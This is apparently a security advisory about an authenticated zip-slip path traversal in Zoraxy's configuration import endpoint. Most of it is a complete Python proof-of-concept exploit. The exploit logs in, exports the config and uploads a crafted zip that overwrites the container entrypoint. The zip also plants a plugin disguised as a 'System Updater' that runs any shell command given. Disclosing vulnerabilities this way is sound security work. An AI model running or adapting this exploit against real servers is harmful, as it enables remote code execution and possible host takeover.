An authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin.
The vulnerable endpoint is POST /api/conf/import.
The zip entry names sanitization is bypassed by embedding ../ inside a longer sequence so the replacement produces a new ../:
conf/..././..././entrypoint.py
→ ReplaceAll("../", "") (match found at index 1 of "..././", leaving "../")
→ conf/../../entrypoint.py ← passes HasPrefix check, escapes conf/
Using this endpoint, a new plugin can be written (persistent) and the entrypoint (non-persistent) can be edited to add execution permissions to the plugin. When the database is provided in the import, the program should exit to trigger a container restart (which does not happen because the entrypoint does not monitor the Zoraxy exit code). As a result, the container was manually restarted for the PoC to work.
import argparse
import io
import json
import re
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
INTRO_SPEC_JSON = json.dumps({
"id": "com.attacker.evil",
"name": "System Updater",
"author": "System",
"author_contact": "",
"description": "Internal system update module",
"url": "",
"ui_path": "/ui",
"type": 1,
"version_major": 1,
"version_minor": 0,
"version_patch": 0,
"permitted_api_endpoints": [],
})
LINUX_START_SH = """\
#!/bin/sh
INTRO_SPEC='{intro_spec}'
run_payload() {{
{payload_lines}
}}
case "$1" in
-introspect)
run_payload
printf '%s\\n' "$INTRO_SPEC"
exit 0
;;
-configure=*)
run_payload
while true; do sleep 3600; done
;;
esac
"""
MALICIOUS_ENTRYPOINT_PY = """\
#!/usr/bin/env python3
import os, subprocess, signal, sys, time
try:
subprocess.run({cmd_list}, shell=False)
except Exception:
pass
try:
os.chmod("/opt/zoraxy/plugin/evil/start.sh", 0o755)
except Exception:
pass
zoraxy_proc = None
zerotier_proc = None
def getenv(key, default=None):
return os.environ.get(key, default)
def run(command):
try:
subprocess.run(command, check=True)
except subprocess.CalledProcessError as e:
print(f"Command failed: {command} - {e}")
sys.exit(1)
def popen(command):
proc = subprocess.Popen(command)
time.sleep(1)
if proc.poll() is not None:
print(f"{command} exited early with code {proc.returncode}")
raise RuntimeError(f"Failed to start {command}")
return proc
def cleanup(_signum, _frame):
global zoraxy_proc, zerotier_proc
if zoraxy_proc and zoraxy_proc.poll() is None:
zoraxy_proc.terminate()
if zerotier_proc and zerotier_proc.poll() is None:
zerotier_proc.terminate()
if zoraxy_proc:
try:
zoraxy_proc.wait(timeout=8)
except subprocess.TimeoutExpired:
zoraxy_proc.kill()
zoraxy_proc.wait()
if zerotier_proc:
try:
zerotier_proc.wait(timeout=8)
except subprocess.TimeoutExpired:
zerotier_proc.kill()
zerotier_proc.wait()
try:
os.unlink("/var/lib/zerotier-one")
except Exception:
pass
sys.exit(0)
def start_zerotier():
global zerotier_proc
config_dir = "/opt/zoraxy/config/zerotier/"
zt_path = "/var/lib/zerotier-one"
os.makedirs(config_dir, exist_ok=True)
try:
os.symlink(config_dir, zt_path, target_is_directory=True)
except FileExistsError:
pass
zerotier_proc = popen(["zerotier-one"])
def start_zoraxy():
global zoraxy_proc
zoraxy_args = [
"zoraxy",
f"-autorenew={getenv('AUTORENEW', '86400')}",
f"-cfgupgrade={getenv('CFGUPGRADE', 'true')}",
f"-db={getenv('DB', 'auto')}",
f"-docker={getenv('DOCKER', 'true')}",
f"-earlyrenew={getenv('EARLYRENEW', '30')}",
f"-enablelog={getenv('ENABLELOG', 'true')}",
f"-fastgeoip={getenv('FASTGEOIP', 'false')}",
f"-mdns={getenv('MDNS', 'true')}",
f"-mdnsname={getenv('MDNSNAME', \"''\")}",
f"-noauth={getenv('NOAUTH', 'false')}",
f"-plugin={getenv('PLUGIN', '/opt/zoraxy/plugin/')}",
f"-port=:{getenv('PORT', '8000')}",
f"-sshlb={getenv('SSHLB', 'false')}",
f"-version={getenv('VERSION', 'false')}",
f"-webroot={getenv('WEBROOT', './www')}",
]
zoraxy_proc = popen(zoraxy_args)
def main():
signal.signal(signal.SIGTERM, cleanup)
signal.signal(signal.SIGINT, cleanup)
run(["update-ca-certificates"])
if getenv("UPDATE_GEOIP", "false").lower() == "true":
run(["zoraxy", "-update_geoip=true"])
os.chdir("/opt/zoraxy/config/")
if getenv("ZEROTIER", "false") == "true":
start_zerotier()
start_zoraxy()
signal.pause()
if __name__ == "__main__":
main()
"""
def get_csrf(host: str, session: requests.Session) -> tuple:
r = session.get(f"{host}/login.html", timeout=10, verify=False)
m = re.search(r'<meta[^>]+name=["\']zoraxy\.csrf\.Token["\'][^>]+content=["\']([^"\']+)["\']', r.text)
if not m:
m = re.search(r'<meta[^>]+content=["\']([^"\']+)["\'][^>]+name=["\']zoraxy\.csrf\.Token["\']', r.text)
token = m.group(1) if m else r.headers.get("X-CSRF-Token", "")
return token, f"{host}/login.html"
def authenticate(host: str, username: str, password: str,
session: requests.Session) -> bool:
csrf, referer = get_csrf(host, session)
print(f" CSRF token -> {csrf!r}")
r = session.post(
f"{host}/api/auth/login",
data={"username": username, "password": password},
headers={"X-CSRF-Token": csrf, "Referer": referer},
timeout=10, verify=False,
)
print(f" Login -> HTTP {r.status_code} {r.text[:120]!r}")
return r.status_code == 200 and r.text.strip().strip('"').lower() in ("ok", "true")
def upload_zip(host: str, session: requests.Session, zip_bytes: bytes) -> tuple:
csrf, referer = get_csrf(host, session)
r = session.post(
f"{host}/api/conf/import",
files={"file": ("backup.zip", zip_bytes, "application/zip")},
headers={"X-CSRF-Token": csrf, "Referer": referer},
timeout=30, verify=False,
)
return r.status_code, r.text
def export_config(host: str, session: requests.Session) -> bytes | None:
r = session.get(
f"{host}/api/conf/export?includeDB=true",
timeout=60, verify=False,
)
if r.status_code == 200 and len(r.content) > 100:
return r.content
return None
def build_zip(cmd: str, export_zip: bytes) -> bytes:
traversal_ep = "conf/..././..././entrypoint.py"
traversal_sh = "conf/..././..././plugin/evil/start.sh"
payload_lines = "\n".join(f" {line}" for line in cmd.splitlines()) or " id > /tmp/pwned.txt"
start_sh = LINUX_START_SH.format(
intro_spec=INTRO_SPEC_JSON.replace("'", "'\\''"),
payload_lines=payload_lines,
)
malicious_ep = MALICIOUS_ENTRYPOINT_PY.replace("{cmd_list}", repr(["sh", "-c", cmd]))
buf = io.BytesIO()
with zipfile.ZipFile(io.BytesIO(export_zip), "r") as src:
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
for item in src.infolist():
zf.writestr(item, src.read(item.filename))
zf.writestr(zipfile.ZipInfo(traversal_ep), malicious_ep.encode())
zf.writestr(zipfile.ZipInfo(traversal_sh), start_sh.encode())
buf.seek(0)
return buf.read()
def main() -> None:
parser = argparse.ArgumentParser(
description="Zoraxy Authenticated RCE via Entrypoint Overwrite + Plugin Zip-Slip",
)
parser.add_argument("--host", help="Target, e.g. http://192.168.1.10:8000")
parser.add_argument("--user", default="admin")
parser.add_argument("--pass", dest="password", default=None)
parser.add_argument("--cmd", default="id > /tmp/pwned.txt",
help="Shell command to embed in the payload")
args = parser.parse_args()
if not args.host or not args.password:
parser.error("--host and --pass are required")
host = args.host.rstrip("/")
print(f"\n[1] Authenticating as '{args.user}' at {host} ...")
session = requests.Session()
if not authenticate(host, args.user, args.password, session):
print("[-] Authentication failed.")
sys.exit(1)
print("[+] Authenticated.")
print(f"\n[2] Exporting live config ...")
export_zip = export_config(host, session)
if not export_zip:
print("[-] Config export failed.")
sys.exit(1)
print("\n[3] Building malicious zip ...")
zip_bytes = build_zip(args.cmd, export_zip)
print(f"[+] Zip size: {len(zip_bytes):,} bytes")
print(f"\n[4] Uploading via POST {host}/api/conf/import ...")
code, body = upload_zip(host, session, zip_bytes)
print(f" HTTP {code} {body[:200]!r}")
if code != 200:
print("[-] Upload failed.")
sys.exit(1)
print("[+] Files written")
if __name__ == "__main__":
main()
Arbitrary file write leads to RCE by an authenticated user. Given that the Docker socket might be mapped, this issue can lead to full host takeover.
{
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T20:04:44Z",
"nvd_published_at": "2026-03-26T20:16:15Z",
"severity": "LOW"
}